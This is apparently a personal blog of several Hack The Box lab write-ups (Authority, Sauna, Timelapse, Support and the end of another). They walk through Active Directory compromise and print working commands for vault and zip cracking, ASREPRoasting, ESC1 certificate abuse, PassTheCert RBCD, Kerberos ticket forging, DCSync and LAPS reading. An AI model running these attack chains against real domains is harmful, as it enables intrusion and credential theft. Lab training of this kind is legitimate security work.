This generates a .ccache file that you can export to the KRB5CCNAME variable and use for Kerberos authentication.

Once you have it set, you can connect to the MSSQL as Administrator.

From here you can read the flags directly. I tried doing some privilege escalation but could not figure out how to copy files without using the expanded procedures, which are executed as the service account. You can write files and read files as Administrator, but I'm not sure how to turn that into full access. This site has some ideas for escalation of privilege with privileges file writes, but without the ability to copy files it is difficult to set them up.

Lessons Learned

This box was short and sweet, especially after Authority last week, which really humbled me. My biggest challenge on this box was finding credentials for the ryan.cooper user, which just took time and requires experience on Windows machines and knowing what is “usually there” and what isn't. I might look at some other options, as I haven't had much success with some of these scripts/programs that search for interesting files.

One other thing I'd like to do is learn how to enumerate certificate templates from PowerShell without any programs. My next Windows box I'm going to try enumerating them through PowerShell instead of Certipy and seeing what comes back.

Thanks for reading.

Contents

• Tools Used
• nmap scan
• SMB Pillaging
• Ansible Vault Cracking
• Getting Remote Access
• Privilege Escalation
• Lessons Learned

Tools Used

nmap – Network mapping tool, used to enumerate a device. enum4linux-ng – A tool for enumerating Windows computers through LDAP and RPC queries. rpcclient – A tool for enumerating MS-RPC on Linux. evil-winrm – A shell to interact with the WinRM protocol originally, but now works with PSRP, the PowerShell equivalent. impacket – A collection of tools, although I specifically used getST, psexec, and addcomputer, which allows you to maliciously interact with a Windows system. MANSPIDER – A program for spidering SMB shares based on specific filters. hashcat – Hash cracking program johntheripper – Hash cracking program, although for this box we're specifically using ansible2john to generate a hash from the Ansible vault, and not the cracking program itself. responder – A MiTM program for capturing credentials or hashes. certipy – A program for primarily interacting with AD Certificate Services, but has other uses as well. PKINITtools – A set of programs for interacting with PKINIT and certificates in an AD domain. PassTheCert – A program for interacting with LDAPS via Schannel, for Domain Controllers that do not support PKINIT. dsacls – A program native to Windows for enumerating AD ACLs.

nmap scan

The initial nmap scan was taking a very long time, so I ran just the top 100 ports while running a full scan:

I see the device is listening on DNS, HTTP, RPC, Kerberos, LDAP, SMB, and seems to have a Apache Tomcat debug page enabled.

The device is part of the domain authority.htb, and has a hostname of authority. It is interesting to note here that the subject alternative name also includes authority.htb.corp, and htb.corp. I also see that on port 8443 the commonName is some private IP.

Because the domain uses Kerberos, I sync my NTP to the server using ntpdate and begin enumerating.

Although the web server looks juicy to start, I want to check the SMB shares first to see if I can authenticate with a null session or as Guest.

SMB Pillaging

The SMB shares seem to allow Guest, so I'm looking for some credentials in here.

There are quite a few directories, so I decide to use MANSPIDER to look for interesting information, such as files with contents containing “passw” or “admin” using the -c switch.

manspider 10.129.7.224 -c passw admin -d authority.htb -u guest -p ''

MANSPIDER finds quite a few interesting bits, including what looks like the Apache Tomcat login. I'm not going to include the entire output because its a lot, but this is what some of it looks like.

I look through the results and add the credentials to my captured credentials files. I think its important to discuss here how I store credentials that have been found, based on a recommendation from IppSec.

I have a usernames.list, a passwords.list and a credentials.list file. By having all of these together and separated it makes it easy to run specific lists. If I need to password spray, I can use just passwords.list, if I need to see what credentials were found together and are functional I can use credentials.list.

It seems like most of this share is focused on Ansible playbooks. Ansible is an automation program for configuring programs, devices, or other things using a set of “playbooks” that come as .yml files. These playbooks should include credentials for setting these things up. I could keep enumerating these files, but it seems like most of them are referring to an environmental variable for their password, so I don't know how far I'll get for now.

Some default Apache Tomcat credentials were found in a directory named “PWM”; which after a cursory google search shows that its some kind of password self-service application for LDAP. This would be a great target to get credentials to an LDAP service account. I go to the website that is listening on port 8443 (the website on port 80 is just the default IIS page), and I see the PWM configuration mode menu. The page wants a username and password to login, or a configuration password to configure it.

When attempting to login, I get an error stating it cannot bind to port 636 (LDAPS) and it is trying to use the account svc_ldap. This might give us an account I can try spraying. When looking at the configuration manage screen I also see another account svc_pwm, this one being in the Users OU instead of Service Accounts. I add both of these to my usernames list.

SIDE NOTE: A note about this that I saw in the [IppSec video](https://www.youtube.com/watch?v=7AF5riqLy-8), because the `Guest` account is enabled, any account that does not exist will "authenciate" as `Guest`. What this means, is that I can test if an account is actually in the domain by checking if it authenticates with a bogus password. In the video, he uses `netexec smb` to check this. The `svc_pwm` account authenticates with any password, which means its authenticating as guest, so I know this account does not exist in the domain and may be an account specifically for the PWM website.

Having a couple passwords and usernames, I run an enum4linux-ng scan as the Guest user to enumerate the password policy. The password policy does not enumerate, so I will not try spraying yet.

Ansible Vault Cracking

While digging through the Ansible files again, I see some Ansible vaults, where is encrypted information for use by Ansible for setting passwords.

These will contain some credentials that I want, so following this guide I attempt to crack them. I will note here that I was having a lot of difficulty getting ansible2john to recognize the hash. The guide above shows a single long line with a single space between each group of numbers, so to get to that format I remove the newlines and only have a single space between the lines of numbers, but it was still not recognizing it. I eventually looked at the walkthrough that is posted on hackthebox and saw that the only removal that needs to occur is on the tabs that indent the lines of encrypted string. This can be done with the following sed command:

sed -i 's/^[ \t]*//' vault3.test

Where vault3.test is a file in the correct format for the Ansible vault.

Here is an example of the “original” encrypted vault as shown in the main.yml file, and the “corrected” string that can be read by ansible2john.

Now that I've got a hash with ansible2john, I run them through hashcat and it shows that all vaults contain the same password.

I decrypt the vaults (in the same format as they were run through ansible2john) using ansible-vault decrypt, and the vaults show us the username and password of the svc_pwm account, and the password for ldap.

This svc_pwm account I see here seems to be for setting up the PWM server that is listening on port 8443, but it may also be the password for a account local to the machine or in the domain, so I'll add these credentials to my lists.

The username and password do not work for logging into PWM, but the password works as the configuration password for PWM.

Looking at the page, there are a few things here I can enumerate. I start by clicking “Download Configuration”, and it warns me that it may contain sensitive data, so I feel like I'm on the right path.

I find a few hashes in the configuration .xml that can be downloaded, but I'm not sure what kind of hashes they are. They look like base64, but when attempting to decode them nothing usable comes up

I do see on the configuration there is a place to change the value of the LDAP server address it is authenticating to. I replace this address with my own, and run responder to capture any credentials or hashes. After importing the configuration, the site immediately tries to authenticate and I get the cleartext LDAP credentials.

Getting Remote Access

With password in hand, I can authenticate to the domain as the svc_ldap user. The user even has remote access privileges, so I access using evil-winrm and start enumerating the domain.

It looks like there are no other user accounts, so I'm targeting the Administrator user.

I use dsacls to enumerate the domain and look for weak ACLs. I check the computer object, and the Administrator account and neither seem to have weak ACLs for me to abuse.

I check certipy to look for any weak certificate templates, and I do see one that is marked as being vulnerable to ESC1.

This one allows a member of “Domain Computers” to enroll in the certificate and supply their own subject, so I could enroll in this and supply 'Administrator' as the subject and get a certificate for that user.

I got stuck here for some time, I know that this certificate template is weak and can be used for privilege escalation but I'm not sure how to get a domain computer account for the escalation. I refer to the walkthrough and have it slowly help me through identifying the path to privilege escalation.

The walkthrough tells us to create a computer account using the impacket script addcomputer. I feel pretty foolish for not thinking of that, because I've done this before in a RBCD attack. I create a computer account so that I can interact with the weak certificate template using the script.

SIDE NOTE: I think its interesting to note here that by default, user accounts are given a quota of 10 computer accounts that they can add to the domain. Why this default configuration exists, I don't know. We can check this entry by using `crackmapexec smb [target,account] -M MAQ` targeting the domain controller with our account and it will show us the quota allowed for the user to enroll computer accounts.

Privilege Escalation

With a domain computer object, I can request enrollment into that certificate using the following command:

certipy req -u BACKUP$ -password 'pass@123' -ca authority-ca -dc-ip 10.129.11.141 -template CorpVPN -upn administrator@authority.htb

This command enrolls the computer account in the 'CorpVPN' certificate, and I supply my own User Principle Name (UPN) with that of Administrator, which means when the certificate is provided, it is for the Administrator user.

From here, I attempted to get a TGT ccache file using PKINIT tools (you can also use Certipy auth for this), which gives me an error. Referring back to the walkthrough, this is expected because the domain controller does not support PKINIT. The walkthrough advises that we can refer to this blogpost that mentions the ability to authenticate using the generated certificate through Schannel using a tool called PassTheCert. We cannot authenticate to Kerberos using the .PFX certificate, but we can authenticate to LDAPS using the certificate.

To use PassTheCert, I need to extract the client certificate and key from the .pfx file that was generated before. (Certipy cert can also do this, as demonstrated in IppSec's video)

openssl pkcs12 -in administrator_authority.pfx -nocerts -out administrator.key
openssl pkcs12 -in administrator_authority.pfx -clcerts -nokeys -out administrator.crt

This extracts the key, and the client cert that I can then pass to PassTheCert. This changes the privilege escalation path a bit, I can authenticate to LDAPS as Administrator, so now instead of just logging in directly, I will focus on changes I can make via LDAPS.

The PassTheCert tool allows me to perform a Resource-based Constrained Delegation (RBCD) attack. In this attack, I specify that specific resources can allow other identities to act on behalf of them. In my case, I want my BACKUP$ machine account to be able to act on behalf of AUTHORITY$, the machine account for the domain controller.

SIDE NOTE: After doing this box and watching the IppSec video, I think its interesting to note that in his attempt he uses the `PassTheCert` program and instead of doing the RBCD attack, he uses the "ldap-shell", which allows him to add the `svc_ldap` user to `Administrators` group and get access that way.

I do this with the following command:

python3 ./passthecert.py -dc-ip 10.129.11.141 -key administrator.key -crt administrator.crt -domain authority.htb -port 636 -action write_rbcd -delegate-to 'AUTHORITY$' -delegate-from 'BACKUP$'

This configures BACKUP$ to be able to impersonate AUTHORITY$ using S4U2Proxy, a method of getting a service ticket on behalf of another user.

Finally, I use impacket-getST to get a TGT ccache file for Kerberos authentication. I specify the Service Principal Name (SPN) for cifs so that I can write to the computer using the filesystem. This process authenticates as BACKUP$, then uses the S4U2Proxy to request the TGS on behalf of AUTHORITY$. This creates a ccache file that I can use for Kerberos authentication to cifs.

For doing Kerberos authentication on Linux, its important to set your KRB5CCNAME environmental variable to the file location.

export KRB5CCNAME=Administrator.ccache

Then I can authenticate using that file to either dump hashes, or get remote access with impacket-psexec.

impacket-psexec -k -no-pass authority.htb/Administrator@authority.authority.htb

For using impacket-psexec, its important to specify the account as Administrator@authority.authority.htb. This tells it you're authenticating to the local Administrator account on the box and not the domain Administrator account.

I can also do impacket-secretsdump to dump all the hashes and get the domain Administrator account.

Lessons Learned

I learned a lot on this box, I was aware of the concepts needed for privilege escalation but putting them together is what puzzled me. I think as I do more boxes, I'll feel more comfortable understanding specific pieces of the escalation process so I can mix-and-match them to account for variables. Getting initial access was not very difficult besides the struggle with the ansible2john formatting.

A small note about this writeup: I did the majority of this box in January but stepped away from it for several weeks before wrapping it up recently. Due to the break in time, this writeup is not as verbose as I would typically want and does not contain as many screen captures as it should.

Contents

• Tools Used
• nmap scan
• Initial Enumeration
• Getting Remote Access
• Lateral Movement and Privilege Escalation
• Lessons Learned

Tools Used

nmap – Network mapping tool, used to enumerate a device. enum4linux-ng – A tool for enumerating Windows computers through LDAP and RPC queries. rpcclient – A tool for enumerating MS-RPC on Linux. evil-winrm – A shell to interact with the WinRM protocol originally, but now works with PSRP, the PowerShell equivalent. ffuf – A tool for web fuzzing, primarily used for enumeration of webpages. impacket – A collection of tools, although I specifically used getnpusers, psexec, and secretsdump, which allows you to maliciously interact with a Windows system. ldapsearch – A tool developed by the team that developed LDAPv3 at the Internet Engineering Task Force (IETF). username-anarchy – A tool for generating usernames based on providing key information that commonly makes up usernames.

nmap scan

The initial nmap scan shows a Windows machine with LDAP, Kerberos, WinRM, and other Windows Active Directory (AD) ports. The only thing unusual that sticks out is that it is listening on port 80, which is typically associated with HTTP. The device is part of the domain EGOTISTICAL-BANK.LOCAL. After identifying that this box utilizes Kerberos, I synchronize my clock to the target's.

Initial Enumeration

My first target for enumeration is the SMB shares, but it looks like the Guest account is disabled, so I am not able to authenticate to any of the shares.

While checking the SMB shares, netexec states that null auth is enabled. Null auth is an anonymous session for authentication, similar to Guest but significantly more limited. This null auth session does not allow us to enumerate shares or anything via RPC.

The null auth does allow us to query LDAP without providing any credentials, so I run ldapsearch to try to enumerate some usernames.

ldapsearch -H ldap://10.129.95.180 -x -b 'DC=EGOTISTICAL-BANK,DC=LOCAL'

The -x switch here specifies basic authentication, but without providing any credentials it uses null authentication.

From the ldapsearch queries I run, I can see the password policy, which indicates there is no lockout threshold. I do also see an object with the common name 'Hugo Smith'; however, this is not a user object so I'm not sure what it is or what we can do with it.

So we cannot enumerate users with this null session, and this “Hugo Smith” object sounds like a user, but I am not sure how to abuse it.

After hitting a wall here, I start enumerating the HTTP server which seems to be hosting a website. The website is some kind of financial website for a bank, and it contains some contact forms that I try to see if they are inject-able, but I do not have any luck. I use ffuf to try finding other pages or VHOSTS, but find seemingly relevant.

I don't find any easy exploitations on the webpage so I check the “guided mode” and it asks about a page where the employee names are present. I check around the website a bit more and in the about.html page it has a few employee names that we can add to a list. Once the list has been created, we run it through username-anarchy to create a list of likely usernames based on common naming conventions.

Unsure of what to do with this list of usernames, I check the “guided mode” again after some time and it recommends an ASREPRoast attack, which is something I had never heard of. Reading the netexec wiki it explains the attack as the following:

``` netexec wiki The ASREPRoast attack looks for users without Kerberos pre-authentication required. That means that anyone can send an ASREQ request to the KDC on behalf of any of those users, and receive an ASREP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline.

So in this attack, we can send an authentication request to the Kerberos server on behalf of another user who does not have pre-authentication required. The server will respond with an AS-REP response message that contains the TGT for the user, which we can then attempt to crack offline to get their password.

In our current position of not having any usernames enumerated, we can feed a list of usernames that we generated with `username-anarchy` to `impacket-getnpusers` to check for ASREPRoastable accounts.

The command user is:

```shell
impacket-GetNPUsers -request -format hashcat -dc-ip 10.129.95.180 'EGOTISTICAL-BANK.LOCAL/' -usersfile ./anarchy.list

This attempts every username generated to see if they have pre-athentication not required, then requests authentication on behalf of the account and returns the TGT. It seems like this uses the null session to query the accounts, but I'm not sure.

We get a hit when running this for an account fsmith.

The output is the TGT in the form that hashcat can user, so I run the crack through hashcat and get the user's password while using the rockyou.txt list.

Getting Remote Access

With credentials to a user account, I begin enumerating services again as the authenticated user.

Its at this point that I step away for a few weeks, so this is where the writeup will be less verbose and only contain the path to root.

I get remote access with WinRM via evil-winrm and begin enumerating the box. I run SharpHound and winPEAS on the box and process the results.

SharpHound shows that there is an account, svc_loanmanager, that has privileges over the domain that allows a DCSync attack. That makes the account a high priority target.

Lateral Movement and Privilege Escalation

While reviewing the winPEAS output, I see that the same account, svc_loanmanager, is configured for autologon and winPEAS provides the credentials for the account. When an account is configured for AutoLogon, the credentials are stored in a registry key that in this case is accessible to us, so we can get the plaintext password.

If you want to see what is being enumerated in the registry, you can run this command while connected to the machine:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

With the password in hand, I carry out the DCSync attack using impacket-secretsdump which provides me the hashes of all the accounts in the domain, login as Administrator and grab the root flag. Its worth noting here, the dump includes LM hashes, not NT hashes, so in order to login with the Administrator LM hash, you need to use impacket-psexec, as evil-winrm requires the NT hash.

Lessons Learned

The biggest lesson to me here was learning about the ASREPRoast attack. Checking for this type of attack will be a major thing I look for in future boxes. I will also start using the technique here of creating a list of possible accounts with username-anarchy with names listed on a website. While the privilege escalation path on this box was very easy (with SharpHound), getting initial access was challenging for me.

Contents

• Tools Used
• nmap scan
• Initial Enumeration
• Ripping with John
• Getting Remote Access
• Lateral Movement
• Privilege Escalation
• Lessons Learned

Tools Used

nmap – Network mapping tool, used to enumerate a device. enum4linux-ng – A tool for enumerating Windows computers through LDAP and RPC queries. evil-winrm – A shell to interact with the WinRM protocol originally, but now works with PSRP, the PowerShell equivalent. impacket – A collection of tools, although I specifically used lookupsid, and psexec, which allows you to maliciously interact with a Windows system. PKINITtools – Tools by dirkjanm that allow exploitation of the Kerberos authentication mechanism. In this, I specifically use gettgtpkinit.py. JohnTheRipper – A password cracker that focuses on utilizing the CPU to crack hashes, although in the jumbo version it can be set to utilize GPU resources. Comes with many programs for generating hashes from the target files. ldapsearch – A tool developed by the team that developed LDAPv3 at the Internet Engineering Task Force (IETF). crackmapexec – A multitool for pentesting, although no longer maintained. I used this to enumerate shares, but you can do that with many tools.

nmap scan

The nmap scan shows a regular Windows machine with nothing jumping out to me as being out of the ordinary for a Windows Domain Controller (DC). The scan shows that the domain is timelapse.htb, and the machine's hostname is dc01.

Because this is a DC and it has Kerberos listening, I sync my time with the DC to ensure no Kerberos errors.

Initial Enumeration

I start by enumerating the shares, that usually gives me an idea if guest accounts work for enumerating. Two shares can be read by anyone including the guest account, IPC$ and Shares.

The Shares drive contains a zipped file titled winrm_backup.zip, and a package of files relating to Windows Local Administrator Password Solution (LAPS). LAPS is a solution that Microsoft rolled out to help ensure unique, regularly rotated local Administrator passwords on individual devices. I imagine this was to combat issues where many IT shops would have a single local admin account password that was the same across their entire fleet of PCs, meaning that if one device was breached, they would all be breached.

Ripping with John

I attempt to unzip the winrm_backup.zip file and am prompted for a password for a file contained within, legacyy_dev_auth.pfx. My only experience with .PFX files is using them to do shadow credential attacks, where you generate a .PFX that is added to the key object of a user you have ability to write attributes of, then request a TGT as that user with the .PFX. In order to unzip this file we need to crack it. I generate a hash for the file by using zip2john, a program provided with johntheripper, that allows you easily generate a hash to be cracked by john.

The command to generate this was:

zip2john -o legacyy_dev_auth.pfx winrm_backup.zip > winrm_backup.hash

The -o switch in this case allows you to specify the file within the zip to target. This isn't really necessary because its the only file in there, if there were multiple encrypted files then it might help to target specific ones but for this file using the -o switch is the same as not using it.

I fed the hash to john, and after a few seconds it spits out the password.

While doing this, I also run a UDP scan and enumerate the users of the domain. Since guest is allowed to authenticate, we can use impacket-lookupsid to dump all the users.

It seems pretty clear that the legacyy user is the one associated with this .PFX file. My first thought was to get a Ticket-Granting-Ticket (TGT) as this user using gettgtpkinit.py, so I go ahead and attempt that but I get an error stating I have an invalid password on the .pfx file. Right, I forgot these files typically always have passwords since they store private keys (more on that later).

I do something similar as before, I run pfx2john to generate the hash, feed the hash to john, and get a password.

I try the gettgtpkinit.py program again, but it fails once again with the error "The client trust failed or is not implemented".

With a better understanding of shadow credential attacks, a smarter person would not have gone straight to this, but I saw what I thought was an easy way in and jumped at it. This was a great moment for me to get a better understanding of shadow credential attacks and what .PFX files are. The reason this does not work, is because when doing a shadow credential attack, it is you who generates the .PFX file while writing to the msDS-KeyCredentialLink attribute, not Kerberos or anyone else. The .PFX is a means to abuse the ability to write to the attribute, not something return by Windows or some other service.

It takes me a bit but I realize why this isn't working and I start thinking of .PFX files and what they're actually used for, since most of the world is not using them for shadow credential attacks. While doing some research, I password spray those two passwords I got across all user accounts (since its only 2 attempts each, not enough to lockout most password policies) but turn up no hits.

Getting Remote Access

I stumble on this page, while searching for information about .PFX files, that discusses converting the files into .PEM files for use with authentication via evil-winrm. This is also a great time to mention that WADComs is a great site that will let you choose what you have and show you what your options are.

I go about converting the .PFX file into a few different files, reading this stackoverflow post, which the top comment mentions you can do this one of two ways.

1. You can place both the public and the private key into the same file.
2. You can generate separate files for both the public and the private key.

I ended up doing both, because even if you have both the public and the private in a single file, evil-winrm will take the file for both arguments and find the relevant key. The command to convert the .PFX into a .PEM with both keys is straightforward:

openssl pkcs12 -in legacyy_dev_auth.pfx -out cert.pem -nodes

The -nodes switch in this case specifies that you do not want the private key encrypted.

With the new cert.pem file containing both public and private key, we can authenticate using evil-winrm.

evil-winrm -i 10.129.227.113 -c cert.pem -k cert.pem -S -r timelapse.htb

Viola! It has been pretty smooth sailing so far, no major hitches.

Lateral Movement

Before I begin enumerating the machine and the user we have access to, legacyy, I want to find what my target is going to be. In this type of environment, there is likely only one user you can move to, but I imagine in a real penetration test it can be very important to have a goal in mind of what users will provide privilege escalation so you can assess what avenues are worth exploring.

In the lookupsid dump I had seen a group called LAPS_Readers, which seemed like a very powerful group considering that getting a LAPS password gets us local Administrator access. So I check which users are present on the system and what groups they are part of, and I see the svc_deploy is a member of LAPS_Readers, so that seems to be my path to privilege escalation.

I start enumerating the user, and one of my first checks is PowerShell command history, which turns out to contain plaintext credentials for the svc_deploy user.

Privilege Escalation

With credentials to svc_deploy, I need to find out how to read the LAPS password. I search online and find that there's a LAPS module for PowerShell that gives you the Get-LapsADPassword cmdlet. The module, however, is not available on the machine initially. The unrestricted share drive contained an .MSI file that will install the module so I try to execute that but I get no errors or module installed, so I have no clue what it is doing. I try executing the MSI with runas using svc_deploy, but the account is not allowed to use runas.

I briefly get stuck here trying to find a way to do it with PowerShell, but then it dons on me that I can probably just enumerate it with ldapsearch since LAPS is just an attribute on the computer object.

I run ldapsearch and enumerate all computer objects, and I get the LAPS password, which is assigned to the attribute ms-Mcs-AdmPwd.

With the LAPS password in hand, that gives me direct access to the local Administrator account on the box. Its interesting to note that evil-winrm does not work for authentication, I'm guessing because you're using a protocol that requires the “Remote Management Users” group for someone to access, where PSExec is using permissions to write to a filesystem and as far as the system is concerned isn't “remote access” in the same way. I need to research more about this to better understand the limitations of both protocols.

With local Administrator access, I dump the SAM hashes and grab the flag from the TRX user. I'm guessing the designer put the flag in the TRX user's drive because they are a domain admin. You can grab is as the local Administrator or by logging in as TRX, but the TRX user is more powerful than the local Administrator due to having Domain Admins membership.

Lessons Learned

I didn't learn a whole lot on this box, but I did get a better understanding of .PFX files, and shadow credential attacks. Any box, no matter how easy, will refine your process.

Thanks for reading!

At the end of this write up, I have some additional information regarding DACL enumeration using different tools that have different levels of discoverability. I hope to do more of these, where its a “deeper” dive into how to accomplish a task in different ways, what it may look like from a different perspective, or even a focus on how to avoid these specific vulnerabilities.

Contents

• Tools Used
• nmap scan
• Initial Enumeration
  • Encoded Password Explanation
  • Active Directory Enumeration
• Lateral Movement
• Privilege Escalation
• Lessons Learned
• Extended DALC
  • BloodHound
  • PowerView
  • dsacls

Tools Used

nmap – Network mapping tool, used to enumerate a device. BloodHound – An application that ingests collector data to provide a view of the relationships between different AD users and accounts. enum4linux-ng – A tool for enumerating Windows computers through LDAP and RPC queries. evil-winrm – A shell to interact with the WinRM protocol originally, but now works with PSRP, the PowerShell equivalent. impacket – A collection of tools, although I specifically used addcomputer, rbcd, getST, and psexec, which allows you to maliciously interact with a Windows system. smbclient – Part of the samba suite, allows communication with the SMB protocol on Windows. ILSpyCmd – A decompiler for .NET projects. ldapsearch – A tool developed by the team that developed LDAPv3 at the Internet Engineering Task Force (IETF). BloodHound.py – A collector for BloodHound that is written in Python and can be run remotely. It is worth noting that this collector cannot enumerate GPO local groups. PowerView – Part of the PowerTools collection, can be used to enumerate DACL on a Windows machine. dsacls – a builtin command line tool for Windows computers for querying and modifying DACL lists. SharpHound – A collector for BloodHound that is mean to be executed on the system locally, this provides more information than remote collectors. LaZagne – A password scraper that is run locally. This program works on both Linux and Windows systems.

nmap scan

The nmap scan has the usual ports open for a Windows AD box: Kerberos, MSRPC, LDAP, etc. I see the hostname of the box is DC.sequel.htb, so based on the naming convention its a good guess that this is a domain controller. The one unusual port that is on and listening is TCP port 1433 with Microsoft SQL Server 2019. I could have poked and prodded this SQL server a bit to see if maybe guest accounts were enabled, and in the future I likely will, but instead I went directly to mapping SMB shares using smbclient with the provided credentials and using enum4linux to enumerate the domain a bit.

Initial Enumeration

I begin by scanning the SMB shares to see what is available. There is a non-default SMB share named “support-tools” that contains a few tools. I can authenticate as a guest user to get access to the “support-tools” share drive. The share contains some common tools as zip files or just binaries, I recognize most of the tools besides UserInfo.exe. The npp file doesn't seem to contain anything worthwhile, the UserInfo.exe.zip contains a config file that has a publicKeyToken in addition to .DLL files and the binary, but I'm not sure what to do with that currently.

Since the guest account is enabled, I use impacket-lookupsid to get the users on the domain. I see that thy domain contains users in the format lastname.firstname, and some services accounts that will likely have elevated privileges, so they immediately become targets.

I get stuck at this point, I begin attempting to bruteforce passwords while I'm looking at what I'm supposed to do with these SMB files. Its clear that the UserInfo.exe is involved, but I don't know enough about these types of files to know how to deal with them. I googled UserInfo.exe to see if that was just a tool I hadn't heard of, and the first result is a written guide for this box, so its immediately clear this is somehow involves in the process.

I start the “Guided” mode for the box, a helpful means of progressing on a box without giving you the answer outright, and it poses the following questions:

"Almost all of the files in this share a publicly available tools, but one is not. What is the name of that file?". The question is mentioning the UserInfo.exe file, since that is the only once I had not heard of, but still stumped I read the next question, which is: "What is the hardcoded password used for LDAP in the UserInfo.exe binary?". That was a pretty straightforward question, but I have no idea how to get that information. I have no experience decompiling anything, so I was very much out of my depth.

I check the further hint on the question, and it states that because it is a .NET binary, we can use DNSPy or ILSpy to return what is effectively source code. We can also run the binary and capture the authentication on Wireshark.

In a real PenTest, my first instinct would not be to run a file they have, so I proceed with downloading ILSpycmd, a commandline Linux frontend for ILSpy, and feed the UserInfo.exe to it.

The decompiling seems to be very close, if not exactly like the source. I see a few things here in the C# code that are interesting. I see hardcodeded password, but it gets processed through a few operations before it can be used so I'll need to “reverse engineer” this code to be able to get the password. The term “reverse engineering” is doing a lot of work here, but we do need to understand what is happening to the password in order to get the plaintext version of it for use.

In an effort to better understand things, I broke this down as much as I could so that I could understand and will I'll record it here in case this helps anyone.

Encoded Password Explanation

First we get the enc_password string: 0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E, and a key: armando. The getPassword() function converts the enc_password FROM base64 to an array of bytes that look like this:

b'\xd0\xdb\xf7\xd8\xf4\xf0\x81\x88\xf3\x83\xdf\xfc\x8f\x94\xdb\x9a\xf3\xdd\xdd\xee\xd6\x86\xd5\x96\xca\xe3\xec\xc8\xee\xfa\xfd\x8f\x94\xd7\xdd\xc4'

This array of bytes is shown in hex but can also be translated to decimal numbers. If you don't know hex (I certainly don't, yet!) you can use the “programming” mode of your calculator and see what they translate to in decimal. For example, xd0 is hex for the number 208. To help me learn, I'm writing a Python script to print the unencoded string.

If we converted these bytes to UTF-8 characters now, they would look like this:

We see in addition to the base64 decoding, we have a series of operations that are happening. I'm going to go through in order of operation, but its important to realize this is in a for loop, with an index starting from 0 and counting up until the length of the byte array (so for each byte).

key[i % key.Length] This uses the modulo operator % to cycle through the key, which we already saw was armando. At index 0 this would be a, then after index 6 (o), index 7 would loop back around to a.

array[i] ^ key[i % key.Length] This takes the byte from the array at position i (our loop index), and XORs it by the numeric value of the character from the key. XOR is a term for “exclusive or”, which takes the bits of the byte in the array, and the letter from the key, and returns a 1 if they are different bits, or 0 if they are the same bit.

For index 0 of the loop, this is exactly what would happen:

The byte array, the decoded base64 string, has the first character with a hex value of 0xd0 which in binary is 1101 0000.

The key's index 0 is a, which as hex is 0x61, which in binary is 0110 0001.

The XOR compares the two in binary, and returns 1 if the bits are different, or 0 if they are the same. So the result would look like this:

1 1 0 1 0 0 0 0 0 1 1 0 0 0 0 1 _________ 1 0 1 1 0 0 0 1

This new results of the XOR is0xb1 in hex.

key[i % key.Length]) ^ 0xDFu); After this, it once against XORs that new byte against the hex character 0xDF. Finally, the result of that is loaded into a new array, array2 which is encoded and passed back as a string. This whole process gives us a the password string of nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz.

We see in the class below this, that the account associated with this password is ldap, once of the service accounts we enumerated earlier. This account was hardcoded into the executable to query LDAP based on provided strings.

Active Directory Enumeration

Now that I have an account that can authenticate to the domain, I run a few checks as the ldap user:

– I check for any addition SMB drive access with this account, but there is nothing of value in the other shares I can read now (SYSVOL, IPT$). – I run enum4linux-ng again as the ldap user and get a lot of good information like the password policy, printers available, etc. Knowing the password policy lets me know how viable attempting to bruteforce the credentials is. – I run bloodhound-ce-python and ingest the results into bloodhound. I don't see any immediately obvious lateral movement paths. I do notice that support is a privileged account that has remote access capability, this account becomes my primary target for lateral movement. – In an effort to diversify my tool usage, I use ldapsearch to verify the information I'm seeing collected by the bloodcound-ce-python collector. I use a great guide , written by Pim Beune. I verify the information I see in bloodhound using LDAP search, including the groups support is part of with the following command:

ldapsearch -x -H ldap://10.129.230.181 -D 'support\ldap' -w $password -b 'CN=support,CN=Users,DC=support,DC=htb' -s base primaryGroupID memberOf

Lateral Movement

I'm not finding any vulnerabilities with SMB, and I do not see any other paths in or drives to access. LDAP is the only thing I can really enumerate now, so I begin trying to enumerate the accounts looking for other information. I dump all of the LDAP fields for all objects classified as person with the following command:

ldapsearch -x -H ldap://10.129.230.181 -D 'support\ldap' -w $password -b 'DC=support,DC=htb' "(objectClass=person)" "*"

The support account has an info field that was not enumerated by the bloodhound-ce-python collector with the contents Ironside47pleasure40Watchful. Without much other information, I assume this is a password and spray it, which shows up as the password to the support account and no others.

I dig around for a bit in the computer and upon running PowerUp.ps1's Invoke-AllChecks, it shows a DLL that is in a writable directory. I could hypothetically hijack this DLL and have it execute malicious code when its loaded. It even gives us a command that I can run directly.

Unfortunately, this DLL cannot be loaded. My understanding is, this DLL is part of the Network Load Balancing feature. I am not able to install that feature as this support user, so I have no way of getting the DLL loaded to actually execute the malicious code.

I keep digging again, running LaZagne.exe, winPEAS.ps1, and a few other tools to help identify vulnerabilities. I run SharpHound after several hours of being stuck, with it being more comprehensive than the bloodhound-ce-python collector due being run directly on the machine.

I load the new data into BloodHound and dig through the info and find an ACL that gives us a privilege escalation path: support is a member of the Shared Support Accounts group, which gives the account GenericAll over DC.support.htb, the computer object.

Normally, if we had GenericAll over a user account we could do a shadow credential attack; however, since we have the permission over a computer object, we will use a resource-based constrained delegation attack. All of this information on how to perform the attack is listed in BloodHound, with examples.

Privilege Escalation

The crux of this attack is, by having GenericAll, we can set the msDS-AllowedToActOnBehalfOfOtherIdentity on the target computer to a computer account we control (I'll get into that in a second). Next, we have the computer account we control request a S4U2Self extension to itself as Administrator, then finally request a S4U2Proxy extension to the target computer, retraining the Administrator username in the extension. This gives us a Ticket Granting Service (TGS) ticket that we can use to authenticate as Administrator on the target machine. Here's a full breakdown of how it occurred:

1. The first step of this attack is to create a computer account. Normally, regular users are allowed to create computer accounts by default, so this is not out of the ordinary. We specifically need a computer account and not a user account because user accounts do not normally contain Service Principal Names (SPNs) that are needed for Kerberos to assign the S4U2Self/S4U2Proxy extensions. I use impacket's addcomputer script to create a new computer account with the following command:

impacket-addcomputer -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host 10.129.230.181 -domain-netbios support.htb -support.htb/support:password'

1. I now add the newly created computer account in the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. Setting this attribute allows the attacker computer to request the S4U2Proxy extension from Kerberos. To do this I use impacket's rbcd program with the following command:

